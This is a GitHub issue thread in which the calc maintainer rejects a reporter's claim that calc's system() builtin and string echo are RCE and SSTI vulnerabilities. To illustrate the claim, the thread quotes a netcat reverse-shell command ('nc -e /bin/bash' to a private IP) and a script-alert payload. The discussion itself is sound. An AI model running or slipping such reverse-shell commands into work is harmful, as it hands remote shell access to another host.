We recently had someone claim that calc represented a RCE and SSTI security threat on the scale of 8.0 or of 10 because:

  1. They were able to to get calc to echo a string by doing:
; {{'<script>alert(1);</script>'}}
	"<script>alert(1);</script>"

They said:

"found that SSTI payload can run in the application. Although most strings cannot be recognized in the application, they can be injected through SSTI attack syntax."
  1. Because calc has a system builtin function:

They said:

"Arbitrary commands can be executed through the application. This should not be a computer function." (sic)

because they were able to execute in one window run:

$ nc -nlvp 5487

and in another window were calc was running:

; system("nc -e /bin/bash 192.168.75.129 5487")

and then were able to type in commands in the 1st window and have them execute in the calc sub-shell. They even tried to show a so-called
"privilege escalation" because they ran sudo in the the nc link connected shell.

🫣

We rejected their RCE and SSTI security threat claim and suggested that the echo command, or typing commands into a shell, or executing a sub-shell from a shell was no different. That calc command is no more of a vulnerability than any other shell scripting language that is capable of printing strings or running commands in a sub-shell. Calc is no more of a vulnerability than bash, zsh, sh, csh, zsh or even interactive python or ...

We will see how this goes and how far they will try to push their assertion. They seem to be hoping to gain credit for "discovering" a CVE.

We have no intention of removing the system builtin function from calc in version 3 ...

... nor prevent calc from printing the value of strings that look "SSTI-like" :-)

We will keep you posted should they continue to try can press their claims.

sigh

@pmetzger
Copy link

@lcn2 You might want to monitor oss-security (see https://www.openwall.com/lists/oss-security/ )

@pmetzger
Copy link

(Generally, the complaint in question is equivalent to claiming that you can use the shell or a python interpreter to execute programs. As for the RCE claim, it's even more laughable.)

@lcn2
Copy link
Owner Author

lcn2 commented Jun 18, 2024

@lcn2 You might want to monitor oss-security (see https://www.openwall.com/lists/oss-security/ )

Thanks 🙏 @pmetzger

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

5 participants